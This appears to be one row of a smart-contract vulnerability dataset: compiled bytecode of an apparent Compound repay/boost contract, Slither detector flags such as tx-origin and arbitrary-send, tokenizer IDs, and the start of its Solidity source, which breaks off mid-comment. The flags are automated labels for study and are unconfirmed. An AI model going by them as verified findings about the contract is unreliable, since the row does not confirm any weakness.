5610a775760405162461bcd60e51b815260040161053290613598565b6000610a838782610543565b90506000610a92886001610543565b90506000816001600160a01b0316836001600160a01b031614610b1157610abb84886000610471565b60408b0152610ac861143f565b610ad457610190610ad8565b61014d5b60a08b01526001600160a01b03861660c08b0152610af58a6114ce565b9150610b0a9050816105da818b8d60016105d0565b9050610b33565b610b1d84886000610471565b9050610b30816105da818b8d60016105d0565b90505b610b46818a600160200201518489611cd8565b885160405163852a12e360e01b81526001600160a01b039091169063852a12e390610b759088906004016136a6565b602060405180830381600087803b158015610b8f57600080fd5b505af1158015610ba3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc79190613248565b15610be45760405162461bcd60e51b815260040161053290613598565b610bee8386611c49565b735c55b921f590a89c1ebe84df170e655a82b621266001600160a01b031663d061ce5030338d60400151858888604051602001610c2e94939291906136af565b6040516020818303038152906040526040518463ffffffff1660e01b815260040161072e93929190613457565b6040518060400160405280600c81526020016b14db1a5c1c1859d9481a1a5d60a21b81525081565b6000805160206137a383398151915281565b604051635ec88c7960e01b81526000908190733d9819210a31b4961b30ef54be2aed79b9c9cd3b90635ec88c7990610cd19086906004016133e9565b60606040518083038186803b158015610ce957600080fd5b505afa158015610cfd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d219190613260565b509150506000846001600160a01b0316633af9e669856040518263ffffffff1660e01b8152600401610d5391906133e9565b602060405180830381600087803b158015610d6d57600080fd5b505af1158015610d81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da59190613248565b90506000733d9819210a31b4961b30ef54be2aed79b9c9cd3b6001600160a01b0316637dc0d1d06040518163ffffffff1660e01b815260040160206040518083038186803b158015610df657600080fd5b505afa158015610e0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2e9190612eee565b905082610e3f5750915061099d9050565b856001600160a01b031663a6afed956040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610e7a57600080fd5b505af1158015610e8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb29190613248565b50604051638e8f294b60e01b8152600090733d9819210a31b4961b30ef54be2aed79b9c9cd3b90638e8f294b90610eed908a906004016133e9565b604080518083038186803b158015610f0457600080fd5b505afa158015610f18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3c9190612ff2565b915050610f47612af4565b5060408051602081019091528181526000610f628683611eea565b9150506000846001600160a01b031663fc57d4df8b6040518263ffffffff1660e01b8152600401610f9391906133e9565b60206040518083038186803b158015610fab57600080fd5b505afa158015610fbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe39190613248565b90506000610ff18383611ca7565b90508681111561100b57869850505050505050505061099d565b61101781606481610990565b9b9a5050505050505050505050565b7325dd3f51e0c3c3ff164ddc02a8e4d65bb9cbb12d81565b733dd0cdf5ffa28c6847b4b276e2fd256046a44bb781565b735c55b921f590a89c1ebe84df170e655a82b6212681565b6040518060400160405280601681526020017516995c9bde08195e18da185b99d9481a5b9d985b1a5960521b81525081565b7339c4a92dc506300c3ea4c67ca4ca611102ee6f2a81565b734ddc2d193948926d02f9b1fe9e1daa0718270ed581565b61019081565b73637726f8b08a7abe3ae3acab01a80e2d8ddef77b81565b733d9819210a31b4961b30ef54be2aed79b9c9cd3b81565b731b14e8d511c9a4395425314f849bd737baf8208f81565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b734ba1f38427b33b8ab7bb0490200dae1f1c36823f81565b611156612b07565b8180602001905181019061099d9190613089565b6040518060400160405280601581526020017413d99998da185a5b8819185d18481a5b9d985b1a59605a1b81525081565b604051806040016040528060138152602001724465737420616d6f756e74206d697373696e6760681b81525081565b6040518060400160405280600f81526020016e15dc985c1c195c881a5b9d985b1a59608a1b81525081565b6040805160028082526060808301845292602083019080368337019050509050828160008151811061122357fe5b60200260200101906001600160a01b031690816001600160a01b031681525050818160018151811061125157fe5b6001600160a01b0390921660209283029190910190910152604051631853304760e31b8152733d9819210a31b4961b30ef54be2aed79b9c9cd3b9063c2998238906112a0908490600401613510565b600060405180830381600087803b1580156112ba57600080fd5b505af11580156112ce573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526112f69190810190612f42565b50505050565b600080309050806001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561133b57600080fd5b505afa15801561134f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113739190612eee565b91505090565b8082018281101561099d57600080fd5b60006001600160a01b038216734ddc2d193948926d02f9b1fe9e1daa0718270ed514156113c557506000805160206137a3833981519152610436565b816001600160a01b0316636f307dc36040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561140057600080fd5b505af1158015611414573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114389190612eee565b9050610436565b6040516320eb73ed60e11b815260009073637726f8b08a7abe3ae3acab01a80e2d8ddef77b906341d6e7da906114799032906004016133e9565b60206040518083038186803b15801561149157600080fd5b505afa1580156114a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c99190612fd2565b905090565b60008060008060006000805160206137a38339815191526001600160a01b031686600001516001600160a01b0316141561158357855161150d90611f3e565b6001600160a01b031686526040808701518151630d0e30db60e41b8152915173c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29263d0e30db09291600480830192600092919082900301818588803b15801561156957600080fd5b505af115801561157d573d6000803e3d6000fd5b50505050505b61159f86604001518760c0015188600001518960a00151611f7f565b60408701805191909103905261012086015160600151156115dc576115c58660006121cd565b9250905080156115dc578561012001516020015192505b806115f6576115ec8660006123ca565b91508560e0015192505b600061161573c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2612613565b11156116fb576040516370a0823160e01b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc290632e1a7d4d9082906370a082319061165a9030906004016133e9565b602060405180830381600087803b15801561167457600080fd5b505af1158015611688573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ac9190613248565b6040518263ffffffff1660e01b81526004016116c891906136a6565b600060405180830381600087803b1580156116e257600080fd5b505af11580156116f6573d6000803e3d6000fd5b505050505b60208601516001600160a01b031673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2141561179857611736866080015187604001516126b7565b61174d6000805160206137a3833981519152612613565b10156040518060400160405280600c81526020016b14db1a5c1c1859d9481a1a5d60a21b815250906117925760405162461bcd60e51b8152600401610532919061355d565b506117fe565b6117aa866080015187604001516126b7565b6117b78760200151612613565b10156040518060400160405280600c81526020016b14db1a5c1c1859d9481a1a5d60a21b815250906117fc5760405162461bcd60e51b8152600401610532919061355d565b505b509092509050915091565b60008061181583611389565b905083156119d9576000733d9819210a31b4961b30ef54be2aed79b9c9cd3b6001600160a01b0316637dc0d1d06040518163ffffffff1660e01b815260040160206040518083038186803b15801561186c57600080fd5b505afa158015611880573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118a49190612eee565b90506000816001600160a01b031663fc57d4df866040518263ffffffff1660e01b81526004016118d491906133e9565b60206040518083038186803b1580156118ec57600080fd5b505afa158015611900573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119249190613248565b90506000826001600160a01b031663fc57d4df734ddc2d193948926d02f9b1fe9e1daa0718270ed56040518263ffffffff1660e01b815260040161196891906133e9565b60206040518083038186803b15801561198057600080fd5b505afa158015611994573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119b89190613248565b905060006119c68383611ca7565b90506119d28882611ca7565b9550505050505b600585048211156119eb576005850491505b60007339c4a92dc506300c3ea4c67ca4ca611102ee6f2a6001600160a01b031663b38779eb6040518163ffffffff1660e01b815260040160206040518083038186803b158015611a3a57600080fd5b505afa158015611a4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a729190612eee565b90508215611b0e576001600160a01b0382166000805160206137a38339815191521415611afa57806001600160a01b031683604051611ab0906133e6565b60006040518083038185875af1925050503d8060008114611aed576040519150601f19603f3d011682016040523d82523d6000602084013e611af2565b606091505b505050611b0e565b611b0e6001600160a01b03831682856126df565b50509392505050565b8082038281111561099d57600080fd5b611b318383612735565b6001600160a01b0383166000805160206137a383398151915214611bef5760405163140e25ad60e31b81526001600160a01b0383169063a0712d6890611b7b9084906004016136a6565b602060405180830381600087803b158015611b9557600080fd5b505af1158015611ba9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bcd9190613248565b15611bea5760405162461bcd60e51b815260040161053290613570565b611c44565b816001600160a01b0316631249c58b826040518263ffffffff1660e01b81526004016000604051808303818588803b158015611c2a57600080fd5b505af1158015611c3e573d6000803e3d6000fd5b50505050505b505050565b6001600160a01b0382166000805160206137a383398151915214611c7b57611c7b6001600160a01b03831633836126df565b60405133904780156108fc02916000818181858888f19350505050158015611c44573d6000803e3d6000fd5b600081611cc9611cbf85670de0b6b3a764000061276d565b6002855b04611379565b81611cd057fe5b049392505050565b6040516305eff7ef60e21b81526000906001600160a01b038516906317bfdfbc90611d079030906004016133e9565b602060405180830381600087803b158015611d2157600080fd5b505af1158015611d35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d599190613248565b905080851115611dd9576001600160a01b0383166000805160206137a38339815191521415611dbf576040516001600160a01b0383169082870380156108fc02916000818181858888f19350505050158015611db9573d6000803e3d6000fd5b50611dd5565b611dd56001600160a01b038416838388036126df565b8094505b611de38385612735565b6001600160a01b0383166000805160206137a38339815191521415611e5b57836001600160a01b0316634e4d9fea866040518263ffffffff1660e01b81526004016000604051808303818588803b158015611e3d57600080fd5b505af1158015611e51573d6000803e3d6000fd5b5050505050611ee3565b60405163073a938160e11b81526001600160a01b03851690630e75270290611e879088906004016136a6565b602060405180830381600087803b158015611ea157600080fd5b505af1158015611eb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ed99190613248565b15611ee357600080fd5b5050505050565b6000806000611ef7612af4565b611f018686612791565b90925090506000826003811115611f1457fe5b14611f255750915060009050611f37565b6000611f30826127f0565b9350935050505b9250929050565b60006001600160a01b0382166000805160206137a383398151915214611f64578161099d565b5073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2919050565b600081158015906120125750604051632cdc77ab60e21b8152731b14e8d511c9a4395425314f849bd737baf8208f9063b371deac90611fc29087906004016133e9565b60206040518083038186803b158015611fda57600080fd5b505afa158015611fee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120129190612fd2565b156120a157604051636eeb543160e01b8152731b14e8d511c9a4395425314f849bd737baf8208f90636eeb54319061204e9087906004016133e9565b60206040518083038186803b15801561206657600080fd5b505afa15801561207a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061209e9190613248565b91505b816120ae575060006121c5565b8185816120b757fe5b049050600a85048111156120cb5750600a84045b60007339c4a92dc506300c3ea4c67ca4ca611102ee6f2a6001600160a01b031663b38779eb6040518163ffffffff1660e01b815260040160206040518083038186803b15801561211a57600080fd5b505afa15801561212e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121529190612eee565b90506001600160a01b0384166000805160206137a383398151915214156121af576040516001600160a01b0382169083156108fc029084906000818181858888f193505050501580156121a9573d6000803e3d6000fd5b506121c3565b6121c36001600160a01b03851682846126df565b505b949350505050565b610120820151602001516040516302f5cc7960e11b81526000918291734ba1f38427b33b8ab7bb0490200dae1f1c36823f916305eb98f29161221291906004016133e9565b60206040518083038186803b15801561222a57600080fd5b505afa15801561223e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122629190612fd2565b61227157506000905080611f37565b6101208401515160405163e0aa279760e01b81527325dd3f51e0c3c3ff164ddc02a8e4d65bb9cbb12d9163e0aa2797916122ae91906004016133e9565b60206040518083038186803b1580156122c657600080fd5b505afa1580156122da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122fe9190612fd2565b61230d57506000905080611f37565b6101208401515160408501518551612330926001600160a01b03909116916126df565b610120840151805160809091015160405163097396a160e31b81526001600160a01b0390921691634b9cb508919061236e908890889060040161367a565b60408051808303818588803b15801561238657600080fd5b505af115801561239a573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906123bf9190612ff2565b915091509250929050565b60e082015160405163e0aa279760e01b81526000917325dd3f51e0c3c3ff164ddc02a8e4d65bb9cbb12d9163e0aa279791612407916004016133e9565b60206040518083038186803b15801561241f57600080fd5b505afa158015612433573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124579190612fd2565b6040518060400160405280600f81526020016e15dc985c1c195c881a5b9d985b1a59608a1b8152509061249d5760405162461bcd60e51b8152600401610532919061355d565b5060e0830151604084015184516124bf926001600160a01b03909116916126df565b60008260018111156124cd57fe5b1415612573578260e001516001600160a01b0316635b6f36fc8460000151856020015186604001518761010001516040518563ffffffff1660e01b815260040161251a94939291906134a8565b602060405180830381600087803b15801561253457600080fd5b505af1158015612548573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061256c9190613248565b905061099d565b8260e001516001600160a01b0316633924db668460000151856020015186606001518761010001516040518563ffffffff1660e01b81526004016125ba94939291906134a8565b602060405180830381600087803b1580156125d457600080fd5b505af11580156125e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061260c9190613248565b9392505050565b60006001600160a01b0382166000805160206137a3833981519152141561263b575047610436565b6040516370a0823160e01b81526001600160a01b038316906370a08231906126679030906004016133e9565b60206040518083038186803b15801561267f57600080fd5b505afa158015612693573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099d9190613248565b6000670de0b6b3a7640000611cc96126cf858561276d565b6002670de0b6b3a7640000611cc3565b611c448363a9059cbb60e01b84846040516024016126fe9291906134f7565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526127ff565b6001600160a01b0382166000805160206137a383398151915214612769576127696001600160a01b0383168260001961288e565b5050565b60008115806127885750508082028282828161278557fe5b04145b61099d57600080fd5b600061279b612af4565b6000806127b0670de0b6b3a7640000876128cd565b909250905060008260038111156127c357fe5b146127e257506040805160208101909152600081529092509050611f37565b611f3081866000015161290c565b51670de0b6b3a7640000900490565b6060612854826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166129bd9092919063ffffffff16565b805190915015611c4457808060200190518101906128729190612fd2565b611c445760405162461bcd60e51b81526004016105329061361d565b6128ae8363095ea7b360e01b8460006040516024016126fe9291906134db565b611c448363095ea7b360e01b84846040516024016126fe9291906134f7565b600080836128e057506000905080611f37565b838302838582816128ed57fe5b041461290157600260009250925050611f37565b600092509050611f37565b6000612916612af4565b60008061292b86670de0b6b3a76400006128cd565b9092509050600082600381111561293e57fe5b1461295d57506040805160208101909152600081529092509050611f37565b60008061296a83886129cc565b9092509050600082600381111561297d57fe5b146129a05781604051806020016040528060008152509550955050505050611f37565b604080516020810190915290815260009890975095505050505050565b60606121c584846000856129f7565b600080826129e05750600190506000611f37565b60008385816129eb57fe5b04915091509250929050565b6060612a0285612abb565b612a1e5760405162461bcd60e51b8152600401610532906135e6565b60006060866001600160a01b03168587604051612a3b91906133ca565b60006040518083038185875af1925050503d8060008114612a78576040519150601f19603f3d011682016040523d82523d6000602084013e612a7d565b606091505b50915091508115612a915791506121c59050565b805115612aa15780518082602001fd5b8360405162461bcd60e51b8152600401610532919061355d565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906121c5575050151592915050565b6040518060200160405280600081525090565b60405180610140016040528060006001600160a01b0316815260200160006001600160a01b031681526020016000815260200160008152602001600081526020016000815260200160006001600160a01b0316815260200160006001600160a01b0316815260200160608152602001612b7e612b83565b905290565b6040518060c0016040528060006001600160a01b0316815260200160006001600160a01b0316815260200160006001600160a01b031681526020016000815260200160008152602001606081525090565b803561099d8161378a565b805161099d8161378a565b600082601f830112612bfa578081fd5b612c0460406136d6565b9050808284604085011115612c1857600080fd5b60005b6002811015612c3a578135835260209283019290910190600101612c1b565b50505092915050565b600082601f830112612c53578081fd5b8135612c66612c618261373a565b6136d6565b9150808252836020828501011115612c7d57600080fd5b8060208401602084013760009082016020015292915050565b600082601f830112612ca6578081fd5b8151612cb4612c618261373a565b9150808252836020828501011115612ccb57600080fd5b612cdc81602084016020860161375e565b5092915050565b6000610140808385031215612cf6578182fd5b612cff816136d6565b915050612d0c8383612bd4565b8152612d1b8360208401612bd4565b602082015260408201356040820152606082013560608201526080820135608082015260a082013560a0820152612d558360c08401612bd4565b60c0820152612d678360e08401612bd4565b60e08201526101008083013567ffffffffffffffff80821115612d8957600080fd5b612d9586838701612c43565b83850152610120925082850135915080821115612db157600080fd5b50612dbe85828601612dca565b82840152505092915050565b600060c08284031215612ddb578081fd5b612de560c06136d6565b90508135612df28161378a565b81526020820135612e028161378a565b60208201526040820135612e158161378a565b80604083015250606082013560608201526080820135608082015260a082013567ffffffffffffffff811115612e4a57600080fd5b612e5684828501612c43565b60a08301525092915050565b600060c08284031215612e73578081fd5b612e7d60c06136d6565b90508151612e8a8161378a565b81526020820151612e9a8161378a565b60208201526040820151612ead8161378a565b80604083015250606082015160608201526080820151608082015260a082015167ffffffffffffffff811115612ee257600080fd5b612e5684828501612c96565b600060208284031215612eff578081fd5b815161260c8161378a565b60008060408385031215612f1c578081fd5b8235612f278161378a565b91506020830135612f378161378a565b809150509250929050565b60006020808385031215612f54578182fd5b825167ffffffffffffffff811115612f6a578283fd5b8301601f81018513612f7a578283fd5b8051612f88612c618261371a565b8181528381019083850185840285018601891015612fa4578687fd5b8694505b83851015612fc6578051835260019490940193918501918501612fa8565b50979650505050505050565b600060208284031215612fe3578081fd5b8151801515811461260c578182fd5b60008060408385031215613004578182fd5b82518015158114613013578283fd5b6020939093015192949293505050565b600060208284031215613034578081fd5b813567ffffffffffffffff81111561304a578182fd5b6121c584828501612c43565b600060208284031215613067578081fd5b813567ffffffffffffffff81111561307d578182fd5b6121c584828501612ce3565b60006020828403121561309a578081fd5b815167ffffffffffffffff808211156130b1578283fd5b81840191506101408083870312156130c7578384fd5b6130d0816136d6565b90506130dc8684612bdf565b81526130eb8660208501612bdf565b602082015260408301516040820152606083015160608201526080830151608082015260a083015160a08201526131258660c08501612bdf565b60c08201526131378660e08501612bdf565b60e0820152610100808401518381111561314f578586fd5b61315b88828701612c96565b8284015250506101208084015183811115613174578586fd5b61318088828701612e62565b918301919091525095945050505050565b60008060008060c085870312156131a6578182fd5b843567ffffffffffffffff8111156131bc578283fd5b6131c887828801612ce3565b945050602086603f8701126131db578283fd5b60026131e9612c61826136fd565b8083890160608a018b8111156131fd578788fd5b875b85811015613223576132118d84612bd4565b855293860193918601916001016131ff565b509197505035945061323d92508891505060808701612bea565b905092959194509250565b600060208284031215613259578081fd5b5051919050565b600080600060608486031215613274578081fd5b8351925060208401519150604084015190509250925092565b6001600160a01b03169052565b600081518084526132b281602086016020860161375e565b601f01601f19169290920160200192915050565b60006101406132d684845161328d565b60208301516132e8602086018261328d565b5060408301516040850152606083015160608501526080830151608085015260a083015160a085015260c083015161332360c086018261328d565b5060e083015161333660e086018261328d565b5061010080840151828287015261334f8387018261329a565b92505050610120808401518583038287015261336b8382613375565b9695505050505050565b600060018060a01b0380835116845280602084015116602085015280604084015116604085015250606082015160608401526080820151608084015260a082015160c060a08501526121c560c085018261329a565b600082516133dc81846020870161375e565b9190910192915050565b90565b6001600160a01b0391909116815260200190565b6001600160a01b03848116825283166020820152608060408201819052600d908201526c10dbdb5c1bdd5b99109bdbdcdd609a1b60a082015260c06060820181905260009061344e9083018461329a565b95945050505050565b6001600160a01b03848116825283166020820152608060408201819052600d908201526c436f6d706f756e64526570617960981b60a082015260c06060820181905260009061344e9083018461329a565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061336b9083018461329a565b6001600160a01b0392909216825260ff16602082015260400190565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b818110156135515783516001600160a01b03168352928401929184019160010161352c565b50909695505050505050565b60006020825261260c602083018461329a565b6020808252600e908201526d11195c1bdcda5d0819985a5b195960921b604082015260600190565b6020808252600d908201526c14995919595b4819985a5b1959609a1b604082015260600190565b6020808252600d908201526c109bdc9c9bddc819985a5b1959609a1b604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60006020825261260c60208301846132c6565b60006040825261368d60408301856132c6565b90506002831061369957fe5b8260208301529392505050565b90815260200190565b93845260208401929092526001600160a01b03908116604084015216606082015260800190565b60405181810167ffffffffffffffff811182821017156136f557600080fd5b604052919050565b600067ffffffffffffffff821115613713578081fd5b5060200290565b600067ffffffffffffffff821115613730578081fd5b5060209081020190565b600067ffffffffffffffff821115613750578081fd5b50601f01601f191660200190565b60005b83811015613779578181015183820152602001613761565b838111156112f65750506000910152565b6001600160a01b038116811461379f57600080fd5b5056fe000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeea26469706673582212204fe8b667f630c4d8be50de22b63d00a1617a30e82f37cb4ca7cadc583706936964736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-lowlevel', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 23352, 27009, 2497, 12740, 22907, 2546, 2575, 2581, 2509, 7959, 2581, 20842, 4246, 2692, 22907, 2546, 2620, 2278, 14142, 2094, 2581, 2509, 2063, 2575, 2050, 2683, 2683, 26976, 2692, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 8278, 9413, 2278, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1025, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 6327, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 1035, 2013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,778
0x9755AC42520e22C1DE4F711B736A340f7c04b697
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * 